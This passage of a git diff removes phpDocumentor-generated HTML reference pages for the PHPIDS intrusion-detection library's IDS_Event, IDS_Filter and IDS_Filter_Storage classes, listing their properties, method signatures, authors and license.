encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Event</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Event</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li>Countable (internal interface)</li><li>IteratorAggregate (internal interface)</li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS event object</p> -<p class="description"><p>This class represents a certain event that occured while applying the filters to the supplied data. It aggregates a bunch of IDS_Filter implementations and is a assembled in IDS_Report.</p><p>Note that this class implements both Countable and IteratorAggregate</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Event.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Event.php.html">/Event.php</a> (line <span class="field">53</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$filters" title="details" class="var-name">$filters</a> - </div> - <div class="var-title"> - <span class="var-type">integer</span> - <a href="#$impact" title="details" class="var-name">$impact</a> - </div> - <div class="var-title"> - <span class="var-type">scalar</span> - <a href="#$name" title="details" class="var-name">$name</a> - </div> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$tags" title="details" class="var-name">$tags</a> - </div> - <div class="var-title"> - <span class="var-type">scalar</span> - <a href="#$value" title="details" class="var-name">$value</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">scalar</span> <span class="var-name">$name</span>, <span class="var-type">scalar</span> <span class="var-name">$value</span>, <span class="var-type"></span> <span class="var-name">$filters</span>) - </div> - <div class="method-definition"> - <span class="method-result">integer</span> - <a href="#count" title="details" class="method-name">count</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getFilters" title="details" class="method-name">getFilters</a> - () - </div> - <div class="method-definition"> - <span class="method-result">integer</span> - <a href="#getImpact" title="details" class="method-name">getImpact</a> - () - </div> - <div class="method-definition"> - <span class="method-result">Iterator|IteratorAggregate</span> - <a href="#getIterator" title="details" class="method-name">getIterator</a> - () - </div> - <div class="method-definition"> - <span class="method-result">scalar</span> - <a href="#getName" title="details" class="method-name">getName</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getTags" title="details" class="method-name">getTags</a> - () - </div> - <div class="method-definition"> - <span class="method-result">scalar</span> - <a href="#getValue" title="details" class="method-name">getValue</a> - () - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$filters" id="$filters"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$filters</span> - = <span class="var-default">array()</span> (line <span class="line-number">77</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">List of filter objects</p> -<p class="description"><p>Filter objects in this array are those that matched the events value</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$impact" id="$impact"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">integer</span> - <span class="var-name">$impact</span> - = <span class="var-default"> 0</span> (line <span class="line-number">86</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Calculated impact</p> -<p class="description"><p>Total impact of the event</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$name" id="$name"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">scalar</span> - <span class="var-name">$name</span> - = <span class="var-default"> null</span> (line <span class="line-number">61</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Event name</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$tags" id="$tags"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$tags</span> - = <span class="var-default">array()</span> (line <span class="line-number">93</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Affecte tags</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$value" id="$value"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">scalar</span> - <span class="var-name">$value</span> - = <span class="var-default"> null</span> (line <span class="line-number">68</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Value of the event</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">106</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> -<p class="description"><p>Fills event properties</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">scalar</span> <span class="var-name">$name</span>, <span class="var-type">scalar</span> <span class="var-name">$value</span>, <span class="var-type"></span> <span class="var-name">$filters</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">scalar</span> - <span class="var-name">$name</span><span class="var-description">: the event name</span> </li> - <li> - <span class="var-type">scalar</span> - <span class="var-name">$value</span><span class="var-description">: the event value</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$filters</span><span class="var-description">: the corresponding filters</span> </li> - </ul> - - - </div> -<a name="methodcount" id="count"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">count</span> (line <span class="line-number">211</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns number of filters</p> -<p class="description"><p>To implement interface Countable this returns the number of filters appended.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">integer</span> - <span class="method-name"> - count - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt>Countable::count</dt> - </dl> - - </div> -<a name="methodgetFilters" id="getFilters"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getFilters</span> (line <span class="line-number">198</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns list of filter objects</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getFilters - </span> - () - </div> - - - - </div> -<a name="methodgetImpact" id="getImpact"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getImpact</span> (line <span class="line-number">162</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns calculated impact</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">integer</span> - <span class="method-name"> - getImpact - </span> - () - </div> - - - - </div> -<a name="methodgetIterator" id="getIterator"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getIterator</span> (line <span class="line-number">223</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">IteratorAggregate iterator getter</p> -<p class="description"><p>Returns an iterator to iterate over the appended filters.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">Iterator|IteratorAggregate</span> - <span class="method-name"> - getIterator - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt>IteratorAggregate::getIterator</dt> - </dl> - - </div> -<a name="methodgetName" id="getName"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getName</span> (line <span class="line-number">142</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns event name</p> -<p class="description"><p>The name of the event usually is the key of the variable that was considered to be malicious</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">scalar</span> - <span class="method-name"> - getName - </span> - () - </div> - - - - </div> -<a name="methodgetTags" id="getTags"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getTags</span> (line <span class="line-number">179</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns affected tags</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getTags - </span> - () - </div> - - - - </div> -<a name="methodgetValue" id="getValue"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getValue</span> (line <span class="line-number">152</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns event value</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">scalar</span> - <span class="method-name"> - getValue - </span> - () - </div> - - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter.html deleted file mode 100755 index 19fcb39d8753f2daf7bbf6fd9503640e0f43dca0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter.html +++ /dev/null @@ -1,452 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Filter</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Filter</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS Filter object</p> -<p class="description"><p>Each object of this class serves as a container for a specific filter. The object provides methods to get information about this particular filter and also to match an arbitrary string against it.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Filter.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Filter.php.html">/Filter.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">string</span> - <a href="#$description" title="details" class="var-name">$description</a> - </div> - <div class="var-title"> - <span class="var-type">integer</span> - <a href="#$impact" title="details" class="var-name">$impact</a> - </div> - <div class="var-title"> - <span class="var-type">string</span> - <a href="#$rule" title="details" class="var-name">$rule</a> - </div> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$tags" title="details" class="var-name">$tags</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type"></span> <span class="var-name">$id</span>, <span class="var-type">mixed</span> <span class="var-name">$rule</span>, <span class="var-type">string</span> <span class="var-name">$description</span>, <span class="var-type"></span> <span class="var-name">$tags</span>, <span class="var-type">integer</span> <span class="var-name">$impact</span>) - </div> - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#getDescription" title="details" class="method-name">getDescription</a> - () - </div> - <div class="method-definition"> - <span class="method-result">integer</span> - <a href="#getId" title="details" class="method-name">getId</a> - () - </div> - <div class="method-definition"> - <span class="method-result">integer</span> - <a href="#getImpact" title="details" class="method-name">getImpact</a> - () - </div> - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#getRule" title="details" class="method-name">getRule</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getTags" title="details" class="method-name">getTags</a> - () - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#match" title="details" class="method-name">match</a> - (<span class="var-type">string</span> <span class="var-name">$string</span>) - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$description" id="$description"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">string</span> - <span class="var-name">$description</span> - = <span class="var-default"> null</span> (line <span class="line-number">81</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Filter description</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$impact" id="$impact"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">integer</span> - <span class="var-name">$impact</span> - = <span class="var-default"> 0</span> (line <span class="line-number">74</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Filter impact level</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$rule" id="$rule"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">string</span> - <span class="var-name">$rule</span> - (line <span class="line-number">60</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Filter rule</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$tags" id="$tags"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$tags</span> - = <span class="var-default">array()</span> (line <span class="line-number">67</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">List of tags of the filter</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">93</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type"></span> <span class="var-name">$id</span>, <span class="var-type">mixed</span> <span class="var-name">$rule</span>, <span class="var-type">string</span> <span class="var-name">$description</span>, <span class="var-type"></span> <span class="var-name">$tags</span>, <span class="var-type">integer</span> <span class="var-name">$impact</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$rule</span><span class="var-description">: filter rule</span> </li> - <li> - <span class="var-type">string</span> - <span class="var-name">$description</span><span class="var-description">: filter description</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$tags</span><span class="var-description">: list of tags</span> </li> - <li> - <span class="var-type">integer</span> - <span class="var-name">$impact</span><span class="var-description">: filter impact level</span> </li> - <li> - <span class="var-type"></span> - <span class="var-name">$id</span> </li> - </ul> - - - </div> -<a name="methodgetDescription" id="getDescription"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getDescription</span> (line <span class="line-number">131</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns filter description</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - getDescription - </span> - () - </div> - - - - </div> -<a name="methodgetId" id="getId"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getId</span> (line <span class="line-number">174</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Get filter ID</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">integer</span> - <span class="method-name"> - getId - </span> - () - </div> - - - - </div> -<a name="methodgetImpact" id="getImpact"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getImpact</span> (line <span class="line-number">164</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Get filter impact level</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">integer</span> - <span class="method-name"> - getImpact - </span> - () - </div> - - - - </div> -<a name="methodgetRule" id="getRule"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getRule</span> (line <span class="line-number">154</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns filter rule</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - getRule - </span> - () - </div> - - - - </div> -<a name="methodgetTags" id="getTags"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getTags</span> (line <span class="line-number">144</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Return list of affected tags</p> -<p class="description"><p>Each filter rule is concerned with a certain kind of attack vectors. This method returns those affected kinds.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getTags - </span> - () - </div> - - - - </div> -<a name="methodmatch" id="match"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">match</span> (line <span class="line-number">113</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Matches a string against current filter</p> -<p class="description"><p>Matches given string against the filter rule the specific object of this class represents</p></p> - <ul class="tags"> - <li><span class="field">throws:</span> InvalidArgumentException if argument is no string</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - match - </span> - (<span class="var-type">string</span> <span class="var-name">$string</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$string</span><span class="var-description">: the string to match</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:45 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html deleted file mode 100755 index b3b56b8e7925fad6038a9a59ca70626c13e8768b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html +++ /dev/null @@ -1,419 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Filter_Storage</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Filter_Storage</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Filter Storage</p> -<p class="description"><p>This class provides various default functions for gathering filter patterns to be used later on by the detection mechanism. You might extend this class to your requirements.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Storage.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Filter---Storage.php.html">/Filter/Storage.php</a> (line <span class="field">51</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type"><a href="../PHPIDS/IDS_Caching.html">object IDS_Caching</a></span> - <a href="#$cache" title="details" class="var-name">$cache</a> - </div> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$cacheSettings" title="details" class="var-name">$cacheSettings</a> - </div> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$filterSet" title="details" class="var-name">$filterSet</a> - </div> - <div class="var-title"> - <span class="var-type">string</span> - <a href="#$source" title="details" class="var-name">$source</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Init.html">IDS_Init</a></span> <span class="var-name">$init</span>) - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#addFilter" title="details" class="method-name">addFilter</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Filter.html">IDS_Filter</a></span> <span class="var-name">$filter</span>) - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#getFilterFromJson" title="details" class="method-name">getFilterFromJson</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#getFilterFromXML" title="details" class="method-name">getFilterFromXML</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getFilterSet" title="details" class="method-name">getFilterSet</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#setFilterSet" title="details" class="method-name">setFilterSet</a> - (<span class="var-type">array</span> <span class="var-name">$filterSet</span>) - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$cache" id="$cache"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type"><a href="../PHPIDS/IDS_Caching.html">object IDS_Caching</a></span> - <span class="var-name">$cache</span> - = <span class="var-default"> null</span> (line <span class="line-number">73</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Cache container</p> - <ul class="tags"> - <li><span class="field">var:</span> wrapper</li> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$cacheSettings" id="$cacheSettings"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$cacheSettings</span> - = <span class="var-default"> null</span> (line <span class="line-number">66</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Holds caching settings</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$filterSet" id="$filterSet"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$filterSet</span> - = <span class="var-default">array()</span> (line <span class="line-number">80</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Filter container</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$source" 